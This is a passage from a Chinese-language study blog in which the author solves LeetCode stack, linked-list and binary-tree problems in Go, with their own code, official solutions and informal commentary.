  } else {
    curMin := this.minStack[len(this.minStack)-1]
    if val &amp;lt; curMin {
      this.minStack = append(this.minStack, val)
    } else {
      this.minStack = append(this.minStack, curMin)
    }
  }
}


func (this *MinStack) Pop() {
  this.stack = this.stack[:len(this.stack)-1]
  this.minStack = this.minStack[:len(this.minStack)-1]
}


func (this *MinStack) Top() int {
  return this.stack[len(this.stack)-1]
}


func (this *MinStack) GetMin() int {
  return this.minStack[len(this.stack)-1]
}


/**
 * Your MinStack object will be instantiated and called as such:
 * obj := Constructor();
 * obj.Push(val);
 * obj.Pop();
 * param_3 := obj.Top();
 * param_4 := obj.GetMin();
 */
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/evaluate-reverse-polish-notation/&quot;&gt;150. 逆波兰表达式求值 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;func evalRPN(tokens []string) int {
  stack := []int{}

  for _ , token := range tokens {
    if token == &quot;+&quot; {
      b := stack[len(stack)-1]
      a := stack[len(stack)-2]
      stack = stack[:len(stack)-2]
      stack = append(stack, a + b)
    } else if token == &quot;-&quot; {
      b := stack[len(stack)-1]
      a := stack[len(stack)-2]
      stack = stack[:len(stack)-2]
      stack = append(stack, a - b)
    } else if token == &quot;*&quot; {
      b := stack[len(stack)-1]
      a := stack[len(stack)-2]
      stack = stack[:len(stack)-2]
      stack = append(stack, a * b)
    } else if token == &quot;/&quot; {
      b := stack[len(stack)-1]
      a := stack[len(stack)-2]
      stack = stack[:len(stack)-2]
      stack = append(stack, a / b)
    } else {
      num , _ := strconv.Atoi(token)
      stack = append(stack, num)
    }
  }
  return stack[0]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看了一下官方解法确实好很多，不看我都忘记switch了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func evalRPN(tokens []string) int {
  stack := []int{}
  for _, token := range tokens {
    val, err := strconv.Atoi(token)
    if err == nil {
      stack = append(stack, val)
    } else {
      num1, num2 := stack[len(stack)-2], stack[len(stack)-1]
      stack = stack[:len(stack)-2]
      switch token {
      case &quot;+&quot;:
        stack = append(stack, num1+num2)
      case &quot;-&quot;:
        stack = append(stack, num1-num2)
      case &quot;*&quot;:
        stack = append(stack, num1*num2)
      default:
        stack = append(stack, num1/num2)
      }
    }
  }
  return stack[0]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/basic-calculator/&quot;&gt;224. 基本计算器 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;不想写栈了，好烦&lt;/p&gt;
&lt;p&gt;这题没想出来，&lt;code&gt;hard&lt;/code&gt; 还是你 &lt;code&gt;hard&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func calculate(s string) int {
  stack := []int{}
  var ans int = 0
  var num int = 0
  var op int = 1

  stack = append(stack, op)

  for _, st := range s {
    if st == &apos; &apos; {
      continue
    }
    // 判断数字字符
    if st &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; st &amp;lt;= &apos;9&apos; {
      // 类型转换：rune -&amp;gt; int
      num = num*10 + int(st-&apos;0&apos;)
    } else {
      // 遇到运算符或括号，先把之前的数字结算到 ans
      ans += op * num
      num = 0
      if st == &apos;+&apos; {
        op = stack[len(stack)-1]
      } else if st == &apos;-&apos; {
        op = -stack[len(stack)-1]
      } else if st == &apos;(&apos; {
        // ( 号：将当前的 op 压入栈，作为括号内新的环境符号
        stack = append(stack, op)
      } else if st == &apos;)&apos; {
        // ) 号：出栈，回到上一层环境
        stack = stack[:len(stack)-1]
      }
    }
  }
  return ans + op*num
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;链表&lt;/h2&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/linked-list-cycle/&quot;&gt;141. 环形链表 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;第一种，哈希表去存储路过的所有结点&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * Definition for singly-linked list.
 * type ListNode struct {
 *   Val int
 *   Next *ListNode
 * }
 */
func hasCycle(head *ListNode) bool {
  seen := map[*ListNode]struct{}{}
  for head != nil {
    if _, ok := seen[head]; ok {
      return true
    }
    seen[head] = struct{}{}
    head = head.Next
  }
  return false
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是这边用法好多，需要慢慢理解&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;head *ListNode&lt;/code&gt; 很明显就是&lt;code&gt;指针&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;map[*ListNode]struct{}{}&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Go&lt;/code&gt;内部没有&lt;code&gt;Set()&lt;/code&gt;集合，要用&lt;code&gt;Map&lt;/code&gt;映射来模拟集合&lt;/li&gt;
&lt;li&gt;&lt;code&gt;map[keyType]valueType&lt;/code&gt; 所以这边&lt;code&gt;key&lt;/code&gt;是&lt;code&gt;*ListNode&lt;/code&gt;,&lt;code&gt;value&lt;/code&gt;是&lt;code&gt;struct{}&lt;/code&gt;这样一个空结构体,&lt;strong&gt;0字节&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;弄好这样一个&lt;code&gt;map&lt;/code&gt;之后要初始化&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;nil&lt;/code&gt; == &lt;code&gt;None&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;map查找 (comma-ok idiom)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;if _ , ok := map[fuck]; ok { }&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;seen[head] = struct{}{}&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;这边还是用&lt;code&gt;.&lt;/code&gt;来选结构体内部内容&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;题目问有没有空间为O(1)的算法，这也就说明不能去用哈希表存了，理论上也在只能用指针那种，那当然就是了&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;快慢指针&lt;/strong&gt;
「Floyd 判圈算法」&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func hasCycle(head *ListNode) bool {
  if head == nil || head.Next == nil {
    return false
  }
  slow := head
  fast := head

  for fast != nil &amp;amp;&amp;amp; fast.Next != nil {
    slow = slow.Next
    fast = fast.Next.Next

    if slow == fast {
      return true
    }
  }
  return false
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;好吧官方题解给的更精简一点&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func hasCycle(head *ListNode) bool {
  if head == nil || head.Next == nil {
    return false
  }
  slow, fast := head, head.Next
  for fast != slow {
    if fast == nil || fast.Next == nil {
      return false
    }
    slow = slow.Next
    fast = fast.Next.Next
  }
  return true
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后起点有那么点不一样罢了，反正最后套圈就能套回来&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/add-two-numbers/&quot;&gt;2. 两数相加 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;梦开始的地方到梦结束的地方一站式服务喵&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这是我们leetcode第二题&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func addTwoNumbers(l1 *ListNode, l2 *ListNode) *ListNode {
  var tail *ListNode
  head := tail
  carry := 0
  for l1 != nil || l2 != nil {
    n1, n2 := 0, 0
    if l1 != nil {
      n1 = l1.Val
      l1 = l1.Next
    }
    if l2 != nil {
      n2 = l2.Val
      l2 = l2.Next
    }
    sum := n1 + n2 + carry
    sum, carry = sum % 10, sum / 10
    if head == nil {
      head = &amp;amp;ListNode{Val: sum}
      tail = head
    } else {
      tail.Next = &amp;amp;ListNode{Val: sum}
      tail = tail.Next
    }
  }
  if carry &amp;gt; 0 {
    tail.Next = &amp;amp;ListNode{Val: carry}
  }
  return head
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先来理思路吧，创建了一个新的链表&lt;code&gt;tail&lt;/code&gt;,&lt;code&gt;head&lt;/code&gt;是它的头结点&lt;/p&gt;
&lt;p&gt;加法变成&lt;code&gt;carry*10+sum&lt;/code&gt;，然后其实就结束了，不过我没用过这里的链表，这边这个链表的创建确实把我难住了&lt;/p&gt;
&lt;p&gt;先创建头结点，头节点是&lt;code&gt;一个地址+Val&lt;/code&gt;所以直接对&lt;code&gt;ListNode{Val: sum}&lt;/code&gt;取地址存起来就行了&lt;/p&gt;
&lt;p&gt;&lt;code&gt;tail.Next = &amp;amp;ListNode{Val: sum}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;三件事，创建ListNode,ListNode的Val设成sum，tail.Next指向该地址&lt;/p&gt;
&lt;p&gt;Q：我有一个问题，如果&lt;code&gt;ListNode{Val: sum}&lt;/code&gt;里面东西一样的时候，他们地址还一样吗？&lt;/p&gt;
&lt;p&gt;A：不一样，它会在堆(heap)上再开一个空间&lt;/p&gt;
&lt;p&gt;当然啦，还可以有更好的写法&lt;/p&gt;
&lt;p&gt;虚拟头节点&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func addTwoNumbers(l1 *ListNode, l2 *ListNode) *ListNode {
  dummy := &amp;amp;ListNode{Val: 0}
  tail := dummy
  carry := 0

  for l1 != nil || l2 != nil || carry &amp;gt; 0 {
    n1, n2 := 0, 0

    if l1 != nil {
      n1 = l1.Val
      l1 = l1.Next
    }
    if l2 != nil {
      n2 = l2.Val
      l2 = l2.Next
    }
    sum := n1 + n2 + carry
    sum, carry = sum % 10, sum / 10

    newNode := &amp;amp;ListNode{Val: sum}
    tail.Next = newNode
    tail = tail.Next
  }
  return dummy.Next
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到我们把很多个判断条件省略了，不需要考虑太多可读性也很好zwz&lt;/p&gt;
&lt;p&gt;但是还是想吐槽，链表写起来没用理解起来方便，太需要大脑和操作了&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/merge-two-sorted-lists/&quot;&gt;21. 合并两个有序链表 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/**
 * Definition for singly-linked list.
 * type ListNode struct {
 *   Val int
 *   Next *ListNode
 * }
 */
func mergeTwoLists(list1 *ListNode, list2 *ListNode) *ListNode {
  dummy := &amp;amp;ListNode{Val: 0}
  tail := dummy

  for list1 != nil || list2 != nil {
    n1, n2 := 101, 101
    if list1 == nil {
      n1 = 101
      n2 = list2.Val
    } else if list2 == nil {
      n1 = list1.Val
      n2 = 101
    } else if list1 != nil &amp;amp;&amp;amp; list2 != nil {
      n1 = list1.Val
      n2 = list2.Val
    }
    if n1 &amp;lt;= n2 {
      tail.Next = list1
      tail = tail.Next
      list1 = list1.Next
    } else {
      tail.Next = list2
      tail = tail.Next
      list2 = list2.Next
    }
  }
  return dummy.Next
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;过了，但是可以做得更好，里面的101很明显是看数据给到100就这样用的，顺便优化一下写法和算法&lt;/p&gt;
&lt;p&gt;不能忘记了链表的特色，一串直接用了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func mergeTwoLists(list1 *ListNode, list2 *ListNode) *ListNode {
  dummy := &amp;amp;ListNode{Val: 0}
  tail := dummy

  for list1 != nil &amp;amp;&amp;amp; list2 != nil {
    if list1.Val &amp;lt;= list2.Val {
      tail.Next = list1
      list1 = list1.Next
    } else {
      tail.Next = list2
      list2 = list2.Next
    }
    tail = tail.Next
  }

  if list1 != nil {
    tail.Next = list1 
  } else {
    tail.Next = list2
  }
  return dummy.Next
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/copy-list-with-random-pointer/&quot;&gt;138. 随机链表的复制 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;看哭了，但是其实意思就是&lt;strong&gt;深拷贝&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;那要怎么办呢，有random甚至会导致遍历的时候出现环的情况，所以完全不能这样&lt;/p&gt;
&lt;p&gt;那怎么办呢，我抄你的码&lt;/p&gt;
&lt;p&gt;抄都抄不明白&lt;/p&gt;
&lt;p&gt;那就只能好好看看了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * Definition for a Node.
 * type Node struct {
 *   Val int
 *   Next *Node
 *   Random *Node
 * }
 */
var cachedNode map[*Node]*Node

func deepCopy(node *Node) *Node {
  if node == nil {
    return nil
  }
  if n, ok := cachedNode[node]; ok {
    return n
  }
  newNode := &amp;amp;Node{Val: node.Val}
  cachedNode[node] = newNode
  newNode.Next = deepCopy(node.Next)
  newNode.Random = deepCopy(node.Random)
  return newNode
}

func copyRandomList(head *Node) *Node {
  cachedNode = map[*Node]*Node{}
  return deepCopy(head)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是官方的第一种解法，官方说是&lt;strong&gt;回溯 + 哈希表&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;但不如说是&lt;strong&gt;DFS 深度优先搜索+ 哈希表&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;var cachedNode map[*Node]*Node&lt;/code&gt;全局变量&lt;/p&gt;
&lt;p&gt;其实就是&lt;em&gt;map[原链表地址]新创建的对应链表的地址&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func copyRandomList(head *Node) *Node {
  cachedNode = map[*Node]*Node{}
  return deepCopy(head)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;初始化&lt;code&gt;cachedNode&lt;/code&gt;，递归&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if node == nil {
  return nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;空就别复制了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if n, ok := cachedNode[node]; ok {
  return n
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建过对应关系的两个节点就直接用，不能再创&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;newNode := &amp;amp;Node{Val: node.Val}
cachedNode[node] = newNode
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建对应关系&lt;/p&gt;
&lt;p&gt;当然还有别的方法&lt;/p&gt;
&lt;p&gt;// ToDo&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/reverse-linked-list/&quot;&gt;206. 反转链表 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;你好&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * Definition for singly-linked list.
 * type ListNode struct {
 *   Val int
 *   Next *ListNode
 * }
 */
func reverseList(head *ListNode) *ListNode {
  if head == nil {
    return nil
  }
  if head.Next == nil {
    return head
  }
  next := head.Next
  var prev *ListNode = nil
  for next != nil {
    next = head.Next
    head.Next = prev
    prev = head
    head = next
  }
  return prev
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;写的有点好笑，&lt;code&gt;return head&lt;/code&gt; return半天大脑没褶皱了,不过进步的地方是至少能写出来了:cry:&lt;/p&gt;
&lt;p&gt;可以稍微优化一下，前面判断条件实际上可以在下面优化&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * Definition for singly-linked list.
 * type ListNode struct {
 *   Val int
 *   Next *ListNode
 * }
 */
func reverseList(head *ListNode) *ListNode {
  var prev *ListNode = nil
  curr := head // 去用curr来存当前的地方就不会因为head而乱七八糟的了
  
  for curr != nil { // curr没遍历完的时候
    next := curr.Next // 下一个目的地 ，如果curr.Next == nil的时候也考虑好了
    curr.Next = prev // 反向
    prev = curr    // 准备移动，所以同步往前一步prev和curr
    curr = next
  }
  return prev
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/reverse-linked-list-ii/&quot;&gt;92. 反转链表 II - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;哈哈我不适合做链表，做玉玉了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * Definition for singly-linked list.
 * type ListNode struct {
 *   Val int
 *   Next *ListNode
 * }
 */
func reverseBetween(head *ListNode, left int, right int) *ListNode {
  dummy := &amp;amp;ListNode{Val: 0, Next: head}
  preLeft := dummy

  for i := 0; i &amp;lt; left - 1; i++ {
    preLeft = preLeft.Next
  }
  curr := preLeft.Next
  leftPtr := curr 

  var prev *ListNode = nil
  for i := 0; i &amp;lt; right - left + 1; i++ {
    next := curr.Next
    curr.Next = prev
    prev = curr
    curr = next
  } 

  preLeft.Next = prev
  leftPtr.Next = curr
  return dummy.Next
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/reverse-nodes-in-k-group/&quot;&gt;25. K 个一组翻转链表 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;第一次ac代码&lt;/p&gt;
&lt;p&gt;执行用时分布 3ms 击败1.36%&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * Definition for singly-linked list.
 * type ListNode struct {
 *   Val int
 *   Next *ListNode
 * }
 */

func reverseKGroup(head *ListNode, k int) *ListNode {
  dummy := &amp;amp;ListNode{Val: 0, Next: head}
  curr := head
  n := 0
  for curr != nil {
    n++
    curr = curr.Next
  }
  count := n / k

  pre := dummy
  curr = head
  for i := 0; i &amp;lt; count; i++ {
    groupTail := curr

    var prev *ListNode = nil 
    for j := 0; j &amp;lt; k ; j++ {
      next := curr.Next
      curr.Next = prev
      prev = curr 
      curr = next
    } 
    pre.Next = prev
    groupTail.Next = curr

    pre = groupTail
  }
  return dummy.Next
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;19. 删除链表的倒数第 N 个结点&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/remove-nth-node-from-end-of-list/&quot;&gt;19. 删除链表的倒数第 N 个结点&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;唯一注意点 最后返回的不是&lt;code&gt;head&lt;/code&gt;而是&lt;code&gt;dummy.Next&lt;/code&gt; ,因为&lt;code&gt;head&lt;/code&gt;节点有可能被删除，然后就导致出问题了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func removeNthFromEnd(head *ListNode, n int) *ListNode {
  curr := head
  l := 1 
  for curr.Next != nil {
    l++
    curr = curr.Next
  }
  curr = head
  count := 0
  dummy := &amp;amp;ListNode{Val:0,Next:head}
  prev := dummy
  for count != l-n {
    prev = prev.Next
    curr = curr.Next
    count++
  }
  prev.Next = curr.Next
  return dummy.Next
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;82. 删除排序链表中的重复元素 II&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/remove-duplicates-from-sorted-list-ii/&quot;&gt;82. 删除排序链表中的重复元素 II&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func deleteDuplicates(head *ListNode) *ListNode {
  dummy := &amp;amp;ListNode{ Val: 0, Next: head}
  curr := dummy
  for curr.Next != nil &amp;amp;&amp;amp; curr.Next.Next != nil {
    if curr.Next.Val == curr.Next.Next.Val {
      currSameVal := curr.Next.Val

      for curr.Next != nil &amp;amp;&amp;amp; curr.Next.Val == currSameVal {
        curr.Next = curr.Next.Next
      } 
    } else {
      curr = curr.Next
    }
  }
  return dummy.Next
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;61. 旋转链表&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/rotate-list/&quot;&gt;61. 旋转链表&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;把链表变成环形链表去做手术就行了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func rotateRight(head *ListNode, k int) *ListNode {
  curr := head
  n := 1
  if head == nil {
    return head
  }
  for curr.Next != nil {
    curr = curr.Next
    n++
  }
  if n == 1 || k == 0 {
    return head
  }
  dummy := &amp;amp;ListNode{Val: 0, Next:head}
  req := k % n 
  curr.Next = head

  count := 0
  for count != n - req {
    curr = curr.Next
    count++
  }
  dummy.Next = curr.Next
  curr.Next = nil
  return dummy.Next
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;官方解法也是这样，但是看起来挺优雅的，放过来看看&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func rotateRight(head *ListNode, k int) *ListNode {
  if k == 0 || head == nil || head.Next == nil {
    return head
  }
  n := 1
  iter := head
  for iter.Next != nil {
    iter = iter.Next
    n++
  }
  add := n - k%n
  if add == n {
    return head
  }
  iter.Next = head
  for add &amp;gt; 0 {
    iter = iter.Next
    add--
  }
  ret := iter.Next
  iter.Next = nil
  return ret
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;哦其实就是不同的迭代方式，这种挺好理解的&lt;/p&gt;
&lt;h3&gt;86. 分隔链表&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/partition-list/&quot;&gt;86. 分隔链表&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;踩到的坑：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果&lt;code&gt;big.Next&lt;/code&gt;不设置成&lt;code&gt;nil&lt;/code&gt;，会导致内存过多，这啥原理
&lt;ul&gt;
&lt;li&gt;哦，原来&lt;code&gt;big.Next&lt;/code&gt;仍然指向原链表要往后走的位置，导致如果出现环了就开始转圈圈了&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;如果不写&lt;code&gt;bigDummy.Next&lt;/code&gt;会把&lt;code&gt;bigDummy&lt;/code&gt;自带的初始化的0加进去了&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;func partition(head *ListNode, x int) *ListNode {
  smallDummy := &amp;amp;ListNode{}
  bigDummy := &amp;amp;ListNode{}

  small := smallDummy
  big := bigDummy

  curr := head

  for curr != nil {
    if curr.Val &amp;lt; x {
      small.Next = curr
      small = small.Next
    } else {
      big.Next = curr
      big = big.Next
    }
    curr = curr.Next
  }
  big.Next = nil
  small.Next = bigDummy.Next
  
  return smallDummy.Next
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;146. LRU 缓存&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/lru-cache/&quot;&gt;146. LRU 缓存&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;你确定这是中档题吗&lt;/p&gt;
&lt;p&gt;好吧我们需要好好好好复盘一下了&lt;/p&gt;
&lt;p&gt;用双向链表来存储前面使用过的，然后去处理就行了，思路其实还挺简单&lt;/p&gt;
&lt;p&gt;就是代码要动点脑子&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Node struct {
  key, Value int
  Prev, Next *Node
}

type LRUCache struct {
  capacity int
  cache   map[int]*Node
  head   *Node
  tail   *Node
}

func Constructor(capacity int) LRUCache {
  head := &amp;amp;Node{0,0,nil,nil}
  tail := &amp;amp;Node{0,0,nil,nil}

  head.Next = tail
  tail.Prev = head
  return LRUCache {
    capacity: capacity,
    cache:   make(map[int]*Node),
    head:   head,
    tail:   tail,
  }
}

func (this *LRUCache) Get(key int) int {
  if node, ok := this.cache[key]; ok {
    this.moveToHead(node)
    return node.Value
  } else {
    return -1
  }
}

func (this *LRUCache) Put(key int, value int) {
  if node, ok := this.cache[key] ; ok {
    node.Value = value
    this.moveToHead(node)
  } else {
    node := &amp;amp;Node{key,value,nil,nil}
    this.cache[key] = node
    this.addToHead(node)
    if len(this.cache) &amp;gt; this.capacity {
      removed := this.removeTail()
      delete(this.cache, removed.key)
    }
  }
}

func (this *LRUCache) addToHead(node *Node) {
  node.Next = this.head.Next
  node.Prev = this.head

  this.head.Next.Prev = node
  this.head.Next = node
  
}

func (this *LRUCache) removeNode(node *Node) {
  node.Prev.Next = node.Next 
  node.Next.Prev = node.Prev 
}

func (this *LRUCache) moveToHead(node *Node) {
  this.removeNode(node)
  this.addToHead(node)
}

func (this *LRUCache) removeTail() *Node {
  node := this.tail.Prev
  this.removeNode(node)
  return node
}
/**
 * Your LRUCache object will be instantiated and called as such:
 * obj := Constructor(capacity);
 * param_1 := obj.Get(key);
 * obj.Put(key,value);
 */
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;二叉树&lt;/h2&gt;
&lt;h3&gt;144. 二叉树的前序遍历&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/binary-tree-preorder-traversal/&quot;&gt;144. 二叉树的前序遍历&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;学习数据结构中，前序就是 根左右&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func preorderTraversal(root *TreeNode) []int {
  var res []int

  var dfs func(node *TreeNode)

  dfs = func(node *TreeNode) {
    if node == nil {
      return
    }

    res = append(res, node.Val) 
    dfs(node.Left)
    dfs(node.Right) 
  }

  dfs(root)
  
  return res
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;104. 二叉树的最大深度&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/maximum-depth-of-binary-tree/&quot;&gt;104. 二叉树的最大深度&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;DFS 深度优先搜索&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func maxDepth(root *TreeNode) int {
  if root == nil {
    return 0
  }
  return max(maxDepth(root.Left),maxDepth(root.Right)) + 1
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;BFS 广度优先搜索&lt;/p&gt;
&lt;p&gt;就是把要查个遍的用队列存存存，然后就完全遍历了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func maxDepth(root *TreeNode) int {
  if root == nil {
    return 0
  }
  queue := []*TreeNode{}
  queue = append(queue, root)
  ans := 0
  for len(queue) &amp;gt; 0 {
    sz := len(queue)
    for sz &amp;gt; 0 {
      node := queue[0]
      queue = queue[1:]
      if node.Left != nil {
        queue = append(queue, node.Left)
      }
      if node.Right != nil {
        queue = append(queue, node.Right)
      }
      sz--
    }
    ans++
  }
  return ans
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;100. 相同的树&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/same-tree/&quot;&gt;100. 相同的树&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;左半边比比右半边比比&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func isSameTree(p *TreeNode, q *TreeNode) bool {
  if p == nil &amp;amp;&amp;amp; q == nil {
    return true
  }
  if p == nil || q == nil {
    return false
  }
  if p.Val != q.Val {
    return false
  }
  return isSameTree(p.Left,q.Left) &amp;amp;&amp;amp; isSameTree(p.Right,q.Right)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;226. 翻转二叉树&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/invert-binary-tree/&quot;&gt;226. 翻转二叉树&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;递归太好用了你知道吗&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func invertTree(root *TreeNode) *TreeNode {
  if root != nil{
    root.Left, root.Right = root.Right, root.Left
    invertTree(root.Left)
    invertTree(root.Right)
  }
  return root
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;101. 对称二叉树&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/symmetric-tree/&quot;&gt;101. 对称二叉树&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;一开始有点犯蠢了，看了一下题解就知道了，只需要传值的时候可以传两个节点就可以递归了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func isSymmetric(root *TreeNode) bool {
  return check(root.Left, root.Right)
}

func check(p, q *TreeNode) bool {
  if p == nil &amp;amp;&amp;amp; q == nil {
    return true
  }
  if p == nil || q == nil {
    return false
  }
  return p.Val == q.Val &amp;amp;&amp;amp; check(p.Left, q.Right) &amp;amp;&amp;amp; check(p.Right, q.Left)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;迭代效果也是一样的，但是我还是喜欢写递归&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func isSymmetric(root *TreeNode) bool {
  u, v := root, root
  q := []*TreeNode{}
  q = append(q, u)
  q = append(q, v)
  for len(q) &amp;gt; 0 {
    u, v = q[0], q[1]
    q = q[2:]
    if u == nil &amp;amp;&amp;amp; v == nil {
      continue
    }
    if u == nil || v == nil {
      return false
    }
    if u.Val != v.Val {
      return false
    }
    q = append(q, u.Left)
    q = append(q, v.Right)

    q = append(q, u.Right)
    q = append(q, v.Left)
  }
  return true
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;105. 从前序与中序遍历序列构造二叉树&lt;/h3&gt;
